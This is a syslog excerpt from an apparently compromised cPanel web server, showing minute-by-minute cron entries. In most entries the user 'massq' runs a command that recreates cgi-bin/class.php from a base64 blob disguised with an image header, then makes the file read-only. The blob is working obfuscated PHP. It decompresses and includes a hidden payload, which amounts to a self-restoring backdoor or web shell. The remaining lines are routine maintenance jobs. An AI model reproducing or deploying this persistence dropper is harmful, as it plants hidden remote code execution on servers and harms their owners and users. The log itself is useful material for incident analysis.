Nov 13 08:53:01 server CROND[19966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:54:01 server CROND[20854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:55:01 server CROND[21718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:55:01 server CROND[21720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:55:01 server CROND[21721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:56:01 server CROND[22634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:57:01 server CROND[23491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:57:01 server CROND[23492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:58:01 server CROND[24364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:59:01 server CROND[25316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:00:01 server CROND[26419]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 13 09:00:01 server CROND[26420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:00:01 server CROND[26422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:00:01 server CROND[26423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:00:01 server CROND[26421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 09:01:01 server CROND[27341]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 09:01:01 server CROND[27342]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:01:01 server run-parts(/etc/cron.hourly)[27341]: starting 0anacron
Nov 13 09:01:01 server run-parts(/etc/cron.hourly)[27354]: finished 0anacron
Nov 13 09:02:01 server CROND[28219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:03:01 server CROND[29079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:04:01 server CROND[29880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 09:05:01 server CROND[30245]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 09:05:01 server CROND[30246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 09:05:01 server CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 09:05:01 server CROND[30248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
